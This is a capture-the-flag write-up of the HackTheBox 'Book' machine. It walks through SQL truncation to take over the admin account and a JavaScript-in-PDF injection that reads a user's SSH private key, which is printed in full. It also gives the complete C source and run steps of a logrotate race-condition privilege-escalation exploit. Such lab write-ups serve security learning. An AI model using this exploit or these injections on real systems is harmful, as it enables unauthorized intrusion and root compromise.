Categories
HackTheBox Writeups

[HTB] – Book

Today's writeup is on Book, a medium Linux box released on February 22th 2020 on HackTheBox.

If you have VIP access on the website, you can access it here : https://www.hackthebox.eu/home/machines/profile/230

Recon

First things first, let's use nmap to scan for open ports

nmap -A -p- -T4 10.10.10.176

I am using basic options as usual :

  • -A : enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)
  • -p- : nmap scans every port
  • -T4 : allows you to adjust the Timing Template (according to your bandwidth, and the speed you're seeking)

We get the following output :

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-21 17:02 CEST
Nmap scan report for 10.10.10.176
Host is up (0.10s latency).
Not shown: 65482 closed ports, 51 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 680.26 seconds

Nothing special to report, we have the regular 22 SSH and 80 HTTP ports open.

Moving on to the browser, we find a connection form, offering the possibility of creating an account.

Easily enough, we find a secret admin panel, without needing to dirbust, by searching

10.10.10.176/admin/

I created my self an account (and noticed that the email field checks the input format, it's not going to make injection easy).

We now have access to the library's website. By looking around we find 3 possible input forms (name changing, book submission, and admin contact).

I tried injecting in different ways but nothing worked. The only thing we have yet is the admin's email address (spoiler alert ;-P ).

First access

Let's go back to the registration form, because the goal is here to get an admin access to the website. After a while of trying to get any special feedback by using various types of SQL injections, and typed about 100 research with the keywords "SQL" and "Injection", I tripped over SQL Truncation. The concept is quit easy to understand : it's trying to overflow the form fields on the user end, to force values into specific fields of the database.

After a few blind tries, I found an interesting JavaScript function.

We see that an error is raised to warn the user that the field has to be filled, but that the number of characters should not exceed 10 for the name, and 20 for the email. Oddly, the conditions check if the names and emails are not empty, but not if there to long. That's our way in !

To perform the truncation, we're going to launch BURB and fill the fields as follow :

  • name : admin admin@book.htb
  • email : admin@book.htb
  • password : test

In burp, we go to the proxy tab, add 6 spaces behind the email address and type a random character.

What we did is overflow the username by adding 5 blank spaces and the email address to truncate, and overflow the email address by adding 6 blank spaces (to reach respectively 10 and 20 characters).

If you know forward the request, and login in the secret admin panel with admin@book.htb : test, you're logged in as admin.

Own User

It's nice to have an admin access here, but it's not of much use. We are now going to use the admins ability of interacting with books submitted by users. First go check you see you're user account created earlier. If not, you have to reset the box.

On the user side, create an empty pdf on your machine (touch empty.pdf).

In the submission form, submit it using this little JS injection as the title, that is going to write a system files content (the ssh private key in our case) in the pdf :

  • title :
  • author : dontcare
  • browse : empty.pdf

I did a previous request to get the user reader on the /etc/passwd file.

Now on the admin side, go to collections and download the Collections file. If everything went write, you should see something that looks like an SSH private key (at least a part of it).

For some reason a part of it is cut out, but that's not a problem. We can extract the text with pdf2txt.py from the pdfminer tool (https://github.com/pdfminer/pdfminer.six.git).

┌─|Log_s [23:00] :~ 
└──╼ $ python2 pdf2txt.py ~/Downloads/52878.pdf 
/home/leo/.local/lib/python2.7/site-packages/pdfminer/__init__.py:20: UserWarning: On January 1st, 2020, pdfminer.six will stop supporting Python 2. Please upgrade to Python 3. For more information see https://github.com/pdfminer/pdfminer.six/issues/194
  warnings.warn('On January 1st, 2020, pdfminer.six will stop supporting Python 2. Please upgrade to Python 3. For '
-----BEGIN      RSA     PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END        RSA     PRIVATE KEY-----

Now just remove the few in excess blank spaces in the header and in the footer, and change this id_rsa file's rights to 600. No need to crack the passphrase, there is none.

┌─|Log_s [23:11] :~
└──╼ $ ssh -i id_rsa reader@10.10.10.176                                                             
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue May  5 21:14:49 UTC 2020

  System load:  0.0                Processes:            142
  Usage of /:   27.3% of 19.56GB   Users logged in:      0
  Memory usage: 38%                IP address for ens33: 10.10.10.176
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue May  5 16:21:25 2020 from 10.10.14.99
reader@book:~$ cat user.txt 
51c1d4b5197fa30e3e5d37f8778f95bc

Ladies and gentlemen, user flaged.

Own Root

Let's take a look around.

reader@book:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)
reader@book:~$ ls
backups  user.txt
reader@book:~$ ls backups/
access.log

First thing we notice is a backup folder, that not usually in the home folder. It seems to contain an access log file.

After a while looking around, I finally discovered something interesting :

reader@book:/etc$ ls | grep logrotate
logrotate.conf
logrotate.d

Logrotate is program allowing to rotate log files (What ?? Shocker...) and handle compression. It is also known to be exploitable on a race condition. To make it short, race conditions occur when multiple programs, or portion of code running on different threads have access to a same resource. When at least two try to modify the resource at the same time, behavior is quiet unpredictable.

If you want a clearer explanation, I found this for you, that explains it easily : https://stackoverflow.com/questions/34510/what-is-a-race-condition

So I searched for an exploit, and found this C program :

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
 
#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )
 
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
 
#define DEBUG 1
 
int main(int argc, char* argv[] )
{
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  const char *payloadfile;
  const char *logfile;
  char *logpath;
  char *logpath2;
  char *targetpath;
  char *targetdir;
  char ch;
  const char *p;
  FILE *source, *target;    
 
  if(argc < 3)
  {
          fprintf(stderr,"usage: %s   [targetdir]\n",argv[0]);
          exit(1);
  }
 
  logfile = argv[1];
  payloadfile = argv[2];
 
  for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
 
  index = j+1;
 
  p = &logfile[index];
 
  logpath = alloca(strlen(logfile)*sizeof(char));
  logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
 
  if(argc > 3)
  {
        targetdir = argv[3];
        targetpath = alloca( ( (strlen(argv[3])) + (strlen(p)) +3) *sizeof(char));
        strcat(targetpath,argv[3]);
  }
  else
  {
        targetdir= TARGETDIR;
        targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
        targetpath[0] = '\0';
        strcat(targetpath,TARGETDIR);
  }
  strcat(targetpath,"/");
  strcat(targetpath,p);
 
  for(j = 0; j < index; j++)
          logpath[j] = logfile[j];
  logpath[j-1] = '\0';
 
  strcpy(logpath2,logpath);
  logpath2[strlen(logpath)] = '2';
  logpath2[strlen(logpath)+1] = '\0';
 
  /*creating the INOTIFY instance*/
  fd = inotify_init();
 
  if( DEBUG == 1)
  {
        printf("logfile: %s\n",logfile);
        printf("logpath: %s\n",logpath);
        printf("logpath2: %s\n",logpath2);
        printf("targetpath: %s\n",targetpath);
        printf("targetdir: %s\n",targetdir);
        printf("p: %s\n",p);
  }
 
  /*checking for error*/
  if ( fd < 0 ) {
    perror( "inotify_init" );
  }
 
  wd = inotify_add_watch( fd,logpath, IN_MOVED_FROM );
 
 
while(1)
{
  i=0;
  length = read( fd, buffer, EVENT_BUF_LEN ); 
 
  while (i < length) {     
      struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];     if ( event->len ) {
      if ( event->mask & IN_MOVED_FROM ) {
          if(strcmp(event->name,p) == 0)
          {
            /* printf( "Something is moved %s.\n", event->name ); */
            rename(logpath,logpath2);
            symlink(targetdir,logpath);
            sleep(1);
            source = fopen(payloadfile, "r");       
            if(source == NULL)
                    exit(EXIT_FAILURE);
 
            target = fopen(targetpath, "w");        
            if(target == NULL)
            {
                    fclose(source);
                    exit(EXIT_FAILURE);
            }
 
            while ((ch = fgetc(source)) != EOF)
                    fputc(ch, target);
 
            chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
            fclose(source);
            fclose(target);
            inotify_rm_watch( fd, wd );
            close( fd );
 
            exit(EXIT_SUCCESS);
          }
      }
    }
    i += EVENT_SIZE + event->len;
  }
}
  /*removing from the watch list.*/
   inotify_rm_watch( fd, wd );
 
  /*closing the INOTIFY instance*/
   close( fd );
 
   exit(EXIT_SUCCESS);
}

Now it's simple. We navigate to /tmp to work in peace. "nano logrotten.c", and past the code. Now compile it "gcc logrotten.c -o logrotten", and make it executable "chmod +x logrotten". Last thing is to create our payload, "nano payload". Easiest thing to do is "cat /root/root.txt > /tmp/flag.txt". Of course you could to a reverse shell to get a root shell, but that would overkill in our case.

reader@book:~$ cd /tmp
reader@book:/tmp$ nano logrotten.c
reader@book:/tmp$ gcc logrotten.c -o logrotten
reader@book:/tmp$ chmod +x logrotten
reader@book:/tmp$ nano payload
reader@book:/tmp$ ./logrotten ~/backups/access.log
usage: ./logrotten   [targetdir]
reader@book:/tmp$ ./logrotten ~/backups/access.log payload 
logfile: /home/reader/backups/access.log
logpath: /home/reader/backups
logpath2: /home/reader/backups2
targetpath: /etc/bash_completion.d/access.log
targetdir: /etc/bash_completion.d
p: access.log

Now let's open another terminal and connect to the remote machine through ssh. Last step is to write a random entry in the acccess.log file.

reader@book:~$ echo somethingRandom >> ~/backups/access.log

If everything went right, you should have gotten back you're prompt in your first terminal. After a few seconds :

reader@book:/tmp$ ls
flag.txt  logrotten  logrotten.c  payload
reader@book:/tmp$ cat flag.txt
84da92adf998a1c7231297f70dd89714

Thanks for reading, I hope you enjoyed, and see you for another writeup 😉

Leave a Reply

Your email address will not be published.